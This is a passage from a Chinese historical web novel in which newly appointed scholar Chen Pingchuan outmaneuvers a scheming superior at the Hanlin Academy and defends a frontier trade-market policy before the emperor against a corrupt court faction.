了尘长长地叹了一口气,走上前,那只油腻的大手重重地拍了拍陈平川的肩膀。 “小施主……心性之坚韧,远超我等预料。”他的眸子里,满是复杂难明的情绪:“原本,我们想带你离开这潭浑水,但现在看来,这吃人的庙堂,或许……才是你真正的战场。” 了尘的语气一转,变得郑重:“我们二人即将离开京城,前往淮南。那里有一支义军,其首领‘赤眉王’刘秀真,虽是草莽出身,却颇有侠义之心,深得人心。我等想去看看,此人是否是那值得托付之人。” 如今的大业朝,早已不是表面上的歌舞升平。 天灾人祸,官逼民反,各地的起义军如同雨后春笋,虽未成燎原之势,却已让这腐朽的王朝根基动摇。 了尘最后看了一眼陈平川,语气温和。 “我们不在,无法再护你周全,你自己多加小心。” “若真有那么一日,你在这庙堂之上再也待不下去,就来淮南找我们。江湖之大,总有你的一片天地。” 随后两人告别陈平川,遁入夜色而去。 陈平川独自站在空荡荡的院中,夜风吹动他的衣袍,带来些许寒意。 他知道,从这一刻起,在这龙潭虎穴般的京城,他真正能依靠的,只有他自己了。 翌日,一名太监高亢的嗓音,传入状元府。 “圣旨到——” 陈平川率府中众人跪于庭院之中,神情肃穆。 “奉天承运,皇帝诏曰:新科状元陈平川,才学出众,品性端方,深得朕心。兹按祖制,授翰林院修撰之职,即日上任。钦此!” …… 翰林院那扇厚重的朱漆大门前,两尊石狮沐浴在晨光中,威严而沉默。 青石板路被岁月打磨得光洁如镜,一道挺拔的身影缓步而来。 PC站点如章节文字不全请用手机访问 陈平川一袭崭新的青色官袍,衣袂在晨风中微微拂动。 官袍的云纹刺绣精致内敛,衬得他愈发面如冠玉,目若朗星。 他正要迈上那三级石阶,踏入这座被誉为大业朝文脉所系的学术圣地,一个声音从旁侧传来。 “平川兄,留步。” 陈平川侧首,只见慕容修站在一株老槐树的斑驳树影下。 他身上也穿着官服,只是颜色要深沉一些,款式也显得宽大,松松垮垮地挂在身上,仿佛一件借来的戏袍,与他那份不羁的气质格格不入。 他的脸上,挂着一丝苦笑,一半是自嘲,一半是释然。 “慕容兄,你这是……”陈平川拱手回礼,目光落在他那身官服上,心中已有了几分猜测。 “外放了。”慕容修摊了摊手,语气轻松得仿佛在说一件趣事,“圣上隆恩,命我去一个叫‘云岫’的小地方做县令。我看了舆图,山高水长,正好合了我这懒散性子,游山玩水,逍遥自在。” 陈平川微微叹气,道:“慕容兄何时起程?陈某定要为你送行。” 慕容修哈哈一笑,拍了拍他的肩膀,洒脱道:“今日我便起程,平川兄不必送了……你我道不同。你志在庙堂,欲以手中之笔,扭转乾坤;我则求个山水逍遥,听风观雨。这京城是潭不见底的深水,水面瞧着平静,底下却暗流汹涌。你的日子怕是比我还要难过,自己要多多保重!” “一定。”陈平川郑重点头。 二人相视一笑,那份惺惺相惜的知己之情,自不必言明。 恰在此时,一个令人厌恶的声音,硬生生插了进来。 “哟,这不是陈状元和慕容县令吗?怎么,在这儿上演一出依依惜别?真是兄弟情深,感人肺腑啊!” 一身崭新吏部官袍的燕世藩便在一左一右两名跟班的簇拥下,趾高气扬地踱了过来。 他的官服料子最好,裁剪也最合身,下巴抬得老高,那副得意扬扬的嘴脸,看了就让人讨厌。 他轻蔑地瞥过陈平川身上代表清贵的翰林院官服,又扫了眼慕容修那身明显不合身的行头,嘴角的讥讽愈发浓烈。 “陈状元,”燕世藩的语调拉得老长,充满了炫耀的意味,“翰林院可是个好地方,清水衙门,每日修书撰史,吟风弄月,最是清闲,也最能磨炼心性,熬个几十年资历,说不定也能外放个州府呢。”他刻意加重了“几十年”三个字,又故作同情地叹了口气,“不像我,刚入仕就要为朝廷选拔贤才,实在是劳碌命啊,想清闲都清闲不得。” 慕容修的眉头瞬间拧成了一个疙瘩,一股火气直冲脑门,他被外放到云岫那穷乡僻野,便是这厮暗中操作,借机报复! 只因为他与陈平川是好友! PC站点如章节文字不全请用手机访问 第120章 上班第一天就被下马威?陈平川:谁怕谁? 陈平川却不动声色地反击。 “燕兄所言极是。” “吏部选贤任能,乃国之重器,责任之大,关乎国运兴衰。正因如此,才最是考验主事之人的眼光与德行。” 他的目光平静地落在燕世藩身上,那眼神寒冷如冰,“可千万不能把那些品行不端、才学疏漏、只知投机钻营的无耻之辈选了上来。否则,便是误国误民,是我大业朝的千古罪人!” 他语气诚恳,像是在真心实意地提醒。 “燕兄如今身居要职,肩上担子不轻,选人时可要擦亮眼睛,仔细分辨,万万不能徇私舞弊,辜负了圣上的信任啊。” 这一番话,听着正常,但句句都在指着严世蕃的鼻子骂! 骂他就是那个“品行不端、才学疏漏”的无耻之辈,是靠着家里徇私舞弊,才混进吏部的! “你……你!”燕世藩也不傻,自然能听出陈平川话里的弦外之音。 陈平川不再理会严世蕃,与慕容修做最后的道别,两人向着不同方向分别而走,留给严世蕃一个潇洒的背影。 “可恶!可恶!”严世蕃无能狂怒,发誓一定要让陈平川吃尽苦头! 翰林院内,古柏参天,枝干虬结,四周空旷寂静,一派庄严肃穆。 陈平川很快便在编撰厅见到了同科的另外两位天之骄子。 榜眼欧阳锐,面容严肃,身形瘦削,即便站着,手中也捧着一卷书,活像个行走的书橱。 他只是从书卷上抬起眼皮,对陈平川微微颔首致意,便立刻低头看书,眼神里闪过不屑,他对陈平川那篇惊世骇俗、不合章法的策论颇不以为然。 在他看来,万事皆有规矩法度,陈平川的“奇思妙想”不过是哗众取宠的歪门邪道,根本无法实施。 探花林锦玉则完全是另一番模样,面如冠玉,目含秋波,一身剪裁得体的官袍更衬得他风流倜傥。 他见人便带三分笑,热情地迎上前来拱手:“陈兄,久仰大名!你在殿上的那篇策论,我等拜读之后,皆是佩服得五体投地。日后你我同僚,还请多多指教。” 他态度熟络自然,言语间滴水不漏,既捧了陈平川,又显得自己谦逊有礼,是个八面玲珑的人物。 正当三人寒暄之际,一个内侍走了过来,对着三人一躬身。 “三位,掌院孙学士请你们过去一趟。” 翰林院掌院学士,孙承志,也是陈平川的顶头上司。 他端坐在紫檀木书案之后,保养得宜的脸上堆满了笑容,只是那笑意如浮萍,丝毫未曾抵达眼底。 “三位来了,快,赐座。” 等陈平川三人落座,孙承志首先看向了陈平川。 他赞扬陈平川文采斐然,乃国之栋梁,随即话锋陡然一转。 “陈状元的那篇殿试策论,本官也拜读了,当真是石破天惊,振聋发聩啊。”他慢条斯理地呷了口茶,用眼角的余光看向陈平川,“可见状元郎是经世致用的大才,非我等寻常书生可比。让你去做那些寻常的修书编典工作,倒是屈才了。” 他故意停顿了一下,慢悠悠地开口。 “正好,我翰林院史馆积压了百余年的人事档案,卷帙浩繁,多有错漏,一直缺个得力人手去整理校对。本官思来想去,这等浩繁无比、需要极大耐心和惊人学识的重任,放眼整个翰林院,非状元郎你莫属了!” 此言一出,旁边的几名翰林官吏,皆是眼观鼻,鼻观心,装模作样专心研究书卷,神色却变得无比微妙。 PC站点如章节文字不全请用手机访问 谁不知道,整理档案,是翰林院里最耗时、最无聊、最没有前途的苦差事,灰尘满面,不见天日,专门用来发配那些不听话、得罪了上官的倒霉蛋。 一头扎进去,没个十年八年别想出来,到那时,同科的早已飞黄腾达,自己却还在故纸堆里发霉。 这是赤裸裸的下马威,是要将这位新科状元一棍子打入冷宫,让他永无出头之日! 不远处的欧阳锐,嘴角勾起一丝若有若无的冷笑弧度。 锋芒太露,树大招风,又不提前花钱打点,被如此对待,纯属活该。 这,才是官场的真实面目! 林锦玉则压低了声音,用同情的语气悄悄劝慰道:“陈兄,孙学士也是爱才心切,想磨炼你的心性。你莫要放在心上。这活儿不急,你慢慢来就是了。” 他的话听着是关心,实则是告诉陈平川:你可别找我帮忙。 出乎所有人意料,陈平川脸上没有丝毫愤怒、委屈。 他反而站起身,对着孙承志深深一揖,神色如常认真:“多谢孙学士看重!下官定不辱使命,鞠躬尽瘁,必将这些积年档案梳理得清清楚楚,明明白白,绝不辜负学士的期望!” 这番出人意料的顺从恭敬,和激情似火的工作热情,让孙承志准备好的一肚子敲打的话全都噎了回去。 “嗯,你知道就好,今日便开始吧!” “是。”旁边,欧阳锐看向陈平川的眼神中,鄙夷更深。 他本以为陈平川会反对,原来不过是个外强中干的软骨头,全无读书人的风骨。 …… 当晚,华灯初上,翰林院的官吏们早已散去。 唯有档案库房,一盏孤灯,在堆积如山、散发着霉味的卷宗间,彻夜未熄,投下一个孤独而坚定的身影。 而在京城最繁华的酒楼“天仙阁”的雅间内,探花林锦玉正设宴款待榜眼欧阳锐和几位同僚。 歌女吟唱,酒香四溢。气氛热烈。 席间,一人笑着提起白日之事,语气中满是幸灾乐祸:“那陈状元也是倒霉,才来第一天,就被孙学士发配去整理档案。那地方我去看过,比冷宫还不如,看来他的仕途之路,是走到头了。” 欧阳锐端着白玉酒杯,发出一声不屑的冷哼。 “此人好高骛远,心浮气躁,文章里满是些不切实际的胡言乱语,本就不是沉下心做学问的料。如今被发配去磨磨性子,倒也算是人尽其用,是件好事。” 他抿了一口醇厚的花雕,断言道:“依我看,不出一个月,他必然受不了那份枯燥苦楚,自己哭着上奏陛下,请求辞官归乡了。” 林锦玉举杯,笑呵呵地打着圆场,将话题引开:“来来来,不说那些扫兴之事。我等同科,乃是天大的缘分,当浮一大白!预祝我等,前程似锦!” 众人轰然应和,觥筹交错间,无人再记得那个被他们断定前途黯淡的状元郎。 PC站点如章节文字不全请用手机访问 第121章 让你整理档案,你揭我老底? 次日清晨,翰林院的官吏们陆续抵达,当他们发现存放档案的库房门没锁,窗户也是开着的,纷纷好奇地走了进去。 只见新科状元陈平川,正伏在一张被堆积如山的卷宗彻底淹没的桌案上,沉沉睡去。 欧阳锐的嘴角,噙着一抹刻薄的冷笑。 他侧过头,对身边的林锦玉道:“哼,昨日说的信誓旦旦,原来是装模作样,偷懒睡觉罢了。此等哗众取宠之举,竟能考上状元,真是离谱至极!” 林锦玉脸上依旧挂着那副春风和煦的笑容,却没有附和,只是那双桃花眼,也透出几分轻视。 他心中暗自摇头,连这点苦都吃不了,还谈何“以商制夷”那等经天纬地的大策? 看来终究是纸上谈兵的少年意气罢了。 其余的官吏们也纷纷投来幸灾乐祸的目光,压低声音交头接耳,他们都觉得,这位状元郎身上的锐气,早晚要被磨得干干净净。 一阵沉稳的脚步声由远及近,掌院学士孙承志背着手,慢悠悠地踱了进来。 当看到库房里的景象时,眉头不悦地一皱,随即故意重重地咳嗽了一声。 “咳咳!” 声音在安静的库房里显得格外刺耳,陈平川顿时被这声音猛地惊醒,他揉着惺忪的睡眼,环顾四周,脸上满是刚刚睡醒的茫然。 孙承志踱步上前,身躯挡住了那道唯一的阳光,投下一片巨大的阴影。 他脸上挂着虚伪的关切,语气却充满了上级的威严:“陈修撰,昨夜竟在此处通宵?精神可嘉,只是不知……这档案整理得如何了?” 陈平川慌忙站起身,恭敬行礼,面对孙承志的质问,他却显得有些支支吾吾,像个没完成课业的学童。 “回…回大人…这些档案实在…实在浩如烟海,下官…下官还在梳理脉络,尚未…尚未理出头绪……” 他这副手足无措的模样,落在众人眼中,更是坐实了偷懒一夜、苦工毫无成果的猜测。 周围官吏脸上的嘲讽之色愈发浓厚,有人已忍不住低声窃笑,与同伴交换着“看好戏”的眼神。 孙承志心中冷笑不止,面上却装出宽宏大量的样子。 他伸出手掌,拍了拍陈平川的肩膀,语重心长道:“年轻人,不要好高骛远嘛。这整理档案,本就是磨炼心性的差事,需得戒骄戒躁,脚踏实地。” 他的声音里带着施舍般的怜悯,话锋一转,意味深长地说道:“当然,若是觉得这活计实在难堪重负,也不是不行。可以自己上书请辞嘛,圣上仁德,想必也不会强留。何必占着翰林院的位子,又做不出成绩,白白耽误了自己的大好前程呢?” 就在孙承志以为自己已经彻底拿捏住这个不知天高地厚的新科状元,准备欣赏他脸上屈辱不甘的神情时,陈平川的眼睛突然一亮。 他像是猛然想起了什么,原本惺忪的眸子瞬间清明,仿佛拨云见日,闪着兴奋的光芒。 只见他转身在一堆杂乱无章的卷宗里兴奋地翻找起来,纸页翻动的哗哗声不绝于耳。 众人面面相觑,不知道他在搞什么鬼。 片刻后,陈平川抽出一份纸页泛黄、边缘卷曲的陈旧档案,像个发现了惊天秘密,高高举起。 “大人!下官这一夜没白忙,有一个重大发现!” 他的声音清亮,充满了邀功的喜悦与激动,瞬间将所有人的目光都吸引了过来。 “大人您看!这是您十二年前在南江府任上的述职档案!里面说,您当年奉旨治水时,曾有一笔三万两的治水专款,账目上写着‘不知所踪’!下官觉得这其中必有天大的误会!定是当年记录的史官一时笔误,或是被小人蒙蔽,污了您的清名!下官正要为您更正过来呢!” 此言一出,如同一道惊雷在孙承志的头顶轰然炸响! PC站点如章节文字不全请用手机访问 他脸上那和煦的笑容瞬间凝固,脸上的血色以肉眼可见的速度褪去,变得惨白如纸! 那三万两银子其实并未失踪,而是他用那笔银子买通了国舅梁越,才换来今日的官位! 他本以为这桩丑事早已被彻底封印在故纸堆里,永世不会有人知晓,没想到,竟被陈平川这个不知死活的愣头青,给硬生生地翻了出来! “大人,明日下官便上奏皇上,请他为您……” 孙承志魂飞魄散,几乎是饿虎扑食一般冲了过去,一把死死捂住陈平川的嘴,用尽力气将他拖到无人注意的角落。 他压低了声音,带着愤怒的嘶吼与恐惧的颤抖:“你…你休要胡说八道!” 陈平川被捂着嘴,一双清澈的眼睛却无辜地眨了眨,仿佛完全不懂他为何如此激动。 他用力挣脱开孙承志的手,反而更大声地嚷嚷起来,语气里满是委屈:“大人您别急啊!下官肯定您是冤枉的!这等泼天大的脏水,怎能让您白白担着?一定要还您一个清白啊!” “陛下”、“彻查”、“清白”几个字,震得孙承志的心肝剧颤,他吓得两腿发软,眼前金星乱冒,几乎要当场昏厥过去。 就在他快要急疯了的时候,一个沉稳如山的声音从库房门口传来。 “何事如此喧哗?翰林院乃清静之地,成何体统!” 大学士张廷玉负手而立,正缓步走来。 他终究是放心不下陈平川,特意在此时过来看看情况。 看到张廷玉那张刚正不阿的脸,孙承志吓得魂都快没了。 他再也不敢拿捏上官的姿态,一把死死拉住陈平川的袖子,声音带着哭腔,低声下气地哀求:“陈状元……陈老弟……算我求你了,千万别再声张了……” 陈平川看着他惊恐万状的表情,知道火候已到。 他脸上那天真无邪的表情瞬间消失,露出一丝意味深长、带着三分邪气的坏笑。 他凑到孙承志耳边,用只有两人能听到的声音,缓慢地说出了自己的要求。 “给我换个差事,清闲点的。另外,我想来就来,想走就走,您别管。哦,对了,再给我一个单独的房间,别让他人打扰我!” 孙承志听完,一张脸由白转红,由红转紫,气得胡子直抖。 这分明是赤裸裸的勒索! 他后悔啊!为什么要让陈平川去整理档案? 这回可好,把自己坑死了! 现在自己的身家性命都捏在对方手里,他只能咬碎了牙,和血吞下,从喉咙里挤出一个字。 “好……” 此时,张廷玉已然走近。 孙承志立刻松开手,快速整理了一下微乱的衣冠,挤出一个比哭还难看的笑容,迎了上去。 陈平川则恢复了恭敬谦逊的神态,对着孙承志深深一揖。 “下官愚钝,多谢孙大人悉心指导。” 孙承志面色僵硬,当着张廷玉的面,只能配合陈平川进行表演。 PC站点如章节文字不全请用手机访问 “哪里哪里!陈修撰才思敏捷,办事得力!本官觉得让你整理档案,实在是大材小用,大材小用啊!” 他清了清嗓子,当众高声宣布:“本官思来想去,就让陈修撰负责整理陛下起居注吧!此事关乎圣躬,责任重大,正需陈修撰这等心细如发、文采出众之才!” 此言一出,满场皆惊。 整理起居注,那是翰林院里最荣耀、最接近天颜的职位! 是无数翰林官熬尽心血也未必能得到的殊荣! 不远处的欧阳锐,脸色瞬间变得铁青。 这个位子,是他父亲花了重金,才从孙承志那里许诺来的! 他愤怒地瞪着陈平川,那眼神仿佛要将他生吞活剥,袖中的拳头握得咯吱作响,却一个字也不敢说。 张廷玉是何等人物,只一眼,便将这里发生的一切猜了个八九不离十。 他看了一眼面色如土、冷汗涔涔的孙承志,又看了一眼云淡风轻、仿佛什么都没发生的陈平川, 心中不禁暗暗称奇。 想当初自己刚入翰林院时,也曾备受排挤,却只能忍气吞声,苦熬资历,没想到这少年竟有如此雷霆手段,不露声色间就完成了一次漂亮的绝地反击。 他意味深长地看了陈平川一眼,缓缓点了点头。 “如此甚好。陈平川,你要好生当差,莫要辜负了圣恩,也莫要辜负了孙大人的这番提携。” 说完,他便放心离去。 而林锦玉已经彻底收起了脸上那温和的笑容,目光落在陈平川身上,深邃难明,像是在重新估量着什么。 当天下午,就在众人还在消化这桩离奇的变故时,一道圣旨降临。 “圣上有旨,宣新科状元陈平川,明日随百官早朝,于金銮殿上,详陈安边之策!” PC站点如章节文字不全请用手机访问 第122章 我陈述安边之策,你们给我开批斗大会? 翌日拂晓,陈平川换上了一身崭新的绯色官袍,走出居所。 衣料挺括,胸前那枚精心绣制的云雁补子,在微弱的晨光下泛着沉静的银光。 这身官服,既是荣耀,也是责任。 他跟在大学士张廷玉身后,一步一步,踏上通往皇宫的白玉阶。 当迈入金銮殿门槛的瞬间,一股威压与腐朽气息扑面而来。 殿内燃着数百支巨烛,烛火跳跃,将一根根雕龙金柱映照得流光溢彩,金碧辉煌。 文武百官分列两班,泾渭分明。 左侧,以须发花白的张廷玉为首,仅有寥寥数人。 他们大多是两鬓斑白的老臣,神情凝重,眉宇间刻满了无法化解的忧国之色。 他们如一排排在风中屹立的孤松,沉默而倔强。 右侧,则是以为国舅梁越首的官员,个个面色红润,养尊处优,眼神中透着与生俱来的倨傲与轻慢。 陈平川垂首立在队列的最末尾,眼角的余光却已将这一切尽收眼底。 这便是大业朝的朝堂,一半是风雨飘摇的江山社稷,另一半,则是声色犬马的权势富贵。 “有事启奏,无事退朝!” 老太监魏忠高喊行礼口令,众臣礼毕后,早朝开始。 “臣有事起奏。” 一个尖细而谄媚的声音响起。 出列的是礼部的一名侍郎,此人身形瘦削,吊着眼角,他躬着身子,双手高举着一卷明黄色的奏本。 “陛下!再过两月,便是皇太后娘娘的六十大寿。此乃国之大庆!臣与礼部同僚,连夜草拟了一份寿典章程,请陛下御览!臣等以为,当于京郊万福山,修建祈福宫,大办水陆道场七七四十九天,遍请天下名僧为太后祈福!另,于宫中大宴群臣、宗室、命妇,连摆三日流水宴,彰显我大业朝孝道治国之本,扬我天家浩荡之恩!” 他每说一句,语调便高昂一分,说到最后,已是满面红光,兴奋不已。 身后,梁越一党立刻随声附和,交口称赞,一时间“陛下圣明”、“太后千秋”的颂扬之声不绝于耳,将金銮殿变成了阿谀奉承的市集。 奏本被魏忠接了,呈到龙案之上。 景帝并未去翻看,只听着那侍郎的描述,眉心便拧成了一个深深的“川”字。 祈福宫?水陆道场?流水大宴? 这要花多少银子? 可那是他亲生母亲,他无力反对,只能求助般地看向张廷玉。 张廷玉瞥了一眼身后的御史,后者立即出列。 “启奏陛下!” 那御史朗声道,“经户部核算,国库余银已不足三百万两!北境边军已有三月未曾足额发饷!黄河沿岸,流民失所,聚啸成祸,恐生大变!此时此刻,皇太后的寿辰不易大操大办,恳请陛下明见!” 陈平川皱眉,偌大一个国家,存款竟然少得可怜! PC站点如章节文字不全请用手机访问 一边是万民嗷嗷待哺,国库空虚如洗; 另一边却为了一个人的寿宴,就要大兴土木,靡费百万。 这已经不是简单的贪腐,而是在吸食这个国家的骨髓! “危言耸听。” 一个懒洋洋的声音响起,梁越慢条斯理地站了出来,轻飘飘地吐出四个字。 他甚至没有看那名面如死灰的御史,只是对着高高在上的龙椅随意地一拱手。 “陛下,些许流民,让地方官府严加弹压便是。至于军饷,无非是下面那些丘八虚报冒领,派人严查一番,自然就有了。你们这些人总是这般小题大做,无非是想扰乱圣心,沽名钓誉罢了。” 他话音一落,身后的官员立刻如同得了号令的群犬,纷纷附和,讥笑声、嗤鼻声此起彼伏。 高踞龙椅之上的景帝,听着下方嗡嗡的争吵,眼中露出疲惫与无力。 每次都是这样,忠臣泣血,奸党窃笑,最终国事议不出个所以然。 等这些关于钱的话题被稀里糊涂地压下去,议题转到边患之时,景帝才打起精神来。 他缓缓抬起眼,越过前方神情各异的大臣,落在了队列最末尾,那个穿着崭新官袍、沉默如渊的年轻身影上。 “传陈平川上前奏对。” 景帝的声音不大,但瞬间压下了殿内所有的嘈杂。 一时间,数百道目光齐刷刷地射了过来,有疑惑、有轻蔑、有好奇与不屑…… 陈平川,俨然成了整个大殿的中心。 他深吸一口气,整理衣冠,迈步而出。 “臣,翰林院修撰陈平川,叩见陛下。”他躬身行礼,声音清朗,没有一丝一毫的紧张与怯懦。 “平身。”景帝的声音里透出期待,“你的安边之策,现在,讲给众卿听听。” “是,臣之策,名为‘以商制夷’。” 话音刚落,梁越便发出一声毫不掩饰的冷笑,那笑声在肃静的殿中格外刺耳。 陈平川不理会他,继续陈诉。 “臣以为,可于边境重开‘榷场’,准许我朝商贩与北境蛮族互通有无……” “荒唐!”梁越猛地厉声打断了他,声音炸响,“简直是闻所未闻的天大笑话!蛮族乃虎狼之辈,今日你与他们通商,明日他们便会用从我朝赚取的钱粮,来买刀买马,磨利爪牙,攻我城池!陈状元,你这是开门揖盗,资敌通匪!” 他一开口,他身后的党羽立刻如同群狼,蜂拥而上,唾沫横飞。 “蛮人茹毛饮血,要我朝精美的丝绸茶叶有何用?我看是醉翁之意不在酒吧?” “自古商人重利轻义,你如何保证他们不为暴利所诱,夹带兵器铁料,私通外敌?” “设立榷场,修建城池关隘,哪一样不靡费巨大?如今国库空虚,这笔钱从何而来?状元郎你莫不是要从天上变出来?” 一句句质问,如同一片片刀子,劈头盖脸地砸向陈平川,整个金銮殿,瞬间变成了对他一个人的批斗大会。 张廷玉气得脸色发青,嘴唇几次翕动,想要出言相助,却都被对方人多势众的滔天声浪给死死压了回去。 PC站点如章节文字不全请用手机访问 这等阵仗,足以将任何一个官员吓退。 他只能焦急地望着那个孤零零站在殿中央的年轻人,担心他承受不住这巨大的压力。 然而,陈平川却依旧站得笔直,如一杆标枪,脸上甚至连一丝波澜都没有。 等声音渐渐弱下去,他才不慌不忙地从宽大的官袍袖中,取出了一卷画轴。 PC站点如章节文字不全请用手机访问 第123章 大声告诉我,三千七百万和五十万选哪个? 这个突兀的动作,出乎了所有人的意料,朝堂竟为之一静。 他双手执轴,当着文武百官的面,随着“哗啦”一声轻响,缓缓展开。 那并非什么名家字画,而是一幅形制古怪的图。 上面用朱砂和墨笔,标注着清晰的线条、区域。 更让众人不解的是,在图的一侧,竟附着数个整齐的方格与圆饼,里面用复杂的曲线、高低不同的色柱,标注着他们从未见过的符号与数字。 然而这等鬼画符般的东西,却透着严谨与精密。 满朝文武,何曾见过如此诡异之物,一时间全都愣住了,议论声戛然而止。 魏忠让两个小太监帮陈平川将画轴完全展开,方便他讲解。 “诸位大人请看。” 陈平川声音清亮,他伸出手指,点在画轴一侧的图表上,从容不迫地讲着。 “此乃我朝近十年,为应对北境边患,所有用兵、犒赏、修筑军堡之消耗。有据可查者,共计白银,三千七百万两。” 三千七百万两! 这个数字如同一座无形的大山,轰然压在每个人的心头,连梁越的脸色都微微一变。 陈平川的手指,缓缓移到另一侧,形成一个触目惊心的对比。 “而据臣估算,若行臣之策,设立榷场,开放互市,前后三年,所有修建、管理、人员之花费加起来,绝不会超过五十万两。孰优孰劣,一目了然!” 他抬起头,目光如炬,扫过那些被震惊得目瞪口呆的脸。 “诸位大人只知蛮族凶悍善战,却不知他们更缺食盐、铁锅、茶叶与布匹。离了这些,他们的牧民便活不下去,他们的生活便会倒退回最原始的境地。” “我们可以用他们最急需的生活必需品,换来他们多余的牛羊马匹,充作军用。再用精美的丝绸、甘甜的美酒、华丽的瓷器,去瓦解他们上层贵族的斗志,让他们沉溺于安逸享乐,疏于征战。” “至于私通外敌之忧,”他的声音顿了顿,继续说道,“臣以为,可为此专设‘商部’,颁发‘商引’!凡与蛮族交易者,货物种类、数量,人员来往,皆需登记在册,严加盘查!同时,课以重税,此为‘商税’,此税既能极大充盈国库,又能以此为缰绳,牢牢掌控所有通商之人!” 他的论述环环相扣,逻辑严密,数据详实令人信服。 在场的官员,都瞪大眼睛,这是一种他们从未接触过的思维方式,心里震撼无比。 陈平川用数字和严密的逻辑解构战争与国策,对于这个时代的人们来说,简直是降维打击! 梁越一党,包括梁越本人,全都张口结舌。 他们擅长权谋攻讦,擅长党同伐异,却不知该如何去反驳这些铁一般的事实和滴水不漏的逻辑。 就在众人以为梁越无话可说时,他忽然阴冷一笑,厉声道:“一派胡言!你一个新晋翰林,从何处得来这些军国机密?我看你这图表根本就是凭空捏造,哗众取宠!来人,此人妖言惑众,给我拿下!” 陈平川不慌不忙,对着龙椅一拜:“陛下,臣所有数据,皆从翰林院史馆旧档中摘录,页页皆有出处,卷宗可查。梁国舅若是不信,大可派人与臣同去史馆,一一核对便是。只是不知,国舅爷是单纯怀疑臣,还是在怀疑我大业朝数十年存档史官的清白?” 梁越顿时语塞,咬着牙瞪着陈平川。 龙椅之上,景帝那张苍白如纸的脸上,终于泛起了一抹激动的神色。 他头一次看到国舅被人怼的无话可说! 抓住龙椅的扶手,景帝身躯微微前倾,那双眼睛里,重新燃起他登基以来,从未有过的光芒。 PC站点如章节文字不全请用手机访问 那光芒,叫希望。 梁越说不过陈平川,立即向自己人递眼色。 他身后立刻窜出一位须发斑白的御史,官袍上绣着的獬豸,本应是法度的象征,此刻却显得格外讽刺。 那御史先是对着陈平川一拱手,干瘪的老脸似笑非笑:“陈状元少年英才,心系天下,老夫佩服。只是,自古华夷之辨,乃立国之本。我天朝上国,以礼仪教化四方,岂能自降身份,与那茹毛饮血之辈,做斤斤计较的商贾之事?此举,恐有损我大业国威,失我天朝体面啊!” 他话音刚落,另一名满面油光的户部官员立刻跟上,他晃了晃脑袋,语气轻蔑:“冯大人说的没错!再者,状元郎说得轻巧,设个商部,颁发商引,就能管住那些利欲熏心的商人了?简直是痴人说梦!商人逐利,如水就下,今天你给他一分利,明天他就能为三分利卖了你的脑袋!到时候,军械铁器源源不断送出关外,谁来承担这个天大的责任?是你陈状元吗?” “没错!此乃养虎为患!资敌通匪!” “一个黄口小儿的臆想之谈,竟也敢在金銮殿上蛊惑圣听!其心可诛!” 一时间,梁党众人七嘴八舌,口诛笔伐,各种攻讦之词如暴雨般倾泻而下,声浪滔天。 他们就是要用这股汹汹的声势,将陈平川彻底淹没,将他这个人批倒批臭! 张廷玉等人又气又急,却又插不上嘴,因为他们也不了解陈平川现代人的思维方式。 现在,能帮陈平川的只有他自己。 陈平川只是静静地站着,任由那些奸臣污吏攻击他,脸上却平静如古井,毫不在意。 直到魏忠高喊:“肃静!” 大殿上渐渐安静下来,陈平川这才淡淡开口:“都说完了吧?现在轮到本官了。” 他的目光扫过那些面目狰狞的官员,直视那位最先发难的老御史。 “敢问这位大人,”他的声音平缓,却力量十足,“是坐视国库空虚,边军断饷,流民遍地,更有国威?还是用商贾之策,充盈国库,安定万民,更能彰显我圣朝仁德?” “这……” 那老御史脸色一白,嘴唇翕动,一个字也说不出来。 虽说他是梁越的狗,但他也不想得罪皇上,左右逢源才是他的官场生存之道。陈平川大声替他说了出来,振聋发聩:“国威,不在于这宫殿有多华丽,而在于万民能否安居!民心若失,江山不存,这金碧辉煌的殿宇,与那断壁残垣,茅草破屋又有何异?” 随即他转向那名户部官员,嘴角勾起一抹冷笑,暗藏锋芒。 “这位大人说商人逐利,不可掌控。那敢问,如今军中将领,吃空饷、冒军功,难道不是为了利?朝中百官,结党营私,卖官鬻爵,难道不是为了利?既然都是逐利,为何不用这人性之利,开辟财源,为国分忧?反而要将其堵死,任由其在暗处滋生腐败,蛀空我大业的根基?” 他的声音穿透力极强,仿佛不是在说话,而是在发问,在审判。 “我之策,正是要将这匹名叫‘利益’的野马,套上我大业朝律法的缰绳,让它拉着国库的马车向前跑!而不是任由它在朝堂和边野之间横冲直撞,最终被内贼外敌所乘!” PC站点如章节文字不全请用手机访问 第124章 犯人不开口?陈平川:让我试试 此时的陈平川仿佛换了一个人,收起了所有的温和谦逊,言辞如刀,锋芒毕露,一股迫人的锐气自他瘦削的身体里勃然而发! 那些原本还在叫嚣的梁党官员,此刻纷纷低下头,目光躲闪,不敢与他对视。 他们骇然发现,自己用来攻击陈平川的每一条理由,最后都变成了抽在自己脸上的耳光。 就连一些原本中立的官员,眼中也露出了深思与动摇之色。 整个金銮殿,陷入了一片诡异的死寂,只剩下烛火燃烧时发出的“噼啪”轻响。 景帝再也按捺不住心中的激动,他猛地一拍龙椅扶手。 “好!说得好!” 他的声音因激动而微微颤抖,感叹道:“为生民立命,方为为政之本!陈平川之策,深得朕心!” 他目光威严,扫视下方百官,郑重宣布。 “朕意已决!即刻起,成立‘榷场筹备司’,暂由翰林院修撰陈平川担任主事,大学士张廷玉从旁协助!户部、兵部,需全力配合,不得有误!” 这道旨意,如同一道圣光,悍然劈开了朝堂之上笼罩已久的阴霾。 张廷玉激动得热泪盈眶,对着龙椅深深一拜:“陛下圣明!” 眼看大势已去,梁越那张老脸,早已铁青一片。 但,他不会认输的! 梁越缓缓上前一步,没有看陈平川,而是对着激动的景帝,慢悠悠地开口,声音冰冷刺骨。 “陛下,通商互市,干系国本,兹事体大。依老臣看,恐怕还需先禀明皇太后,由她老人家定夺才是。” “皇太后”三个字一出,仿佛一道无形的魔咒,瞬间将景帝刚刚燃起的万丈豪情,灭得一干二净。 他脸上的红潮迅速褪去,重新变得苍白,刚刚挺直的腰杆,也肉眼可见地垮了下去,仿佛被抽走了脊梁。 只要太后一个“不准”,他这道刚刚颁下的圣旨,就将沦为一张废纸,他这个皇帝,也将再次成为满朝文武眼中的笑柄。 梁越看着景帝的神色变化,嘴角露出一丝轻蔑的冷笑。 他竟不等景帝回应,便对着龙椅随意一拱手,那动作充满傲慢。 “臣还要去给太后娘娘请安,先行告退了。” 说完,他大袖一甩,在一众梁党官员的簇拥下,径直转身,嚣张地走出了金銮殿。 仿佛他才是这座皇宫真正的主人! 满朝文武,面面相觑,没有人敢多说一个字。 …… 退朝后,御书房内。 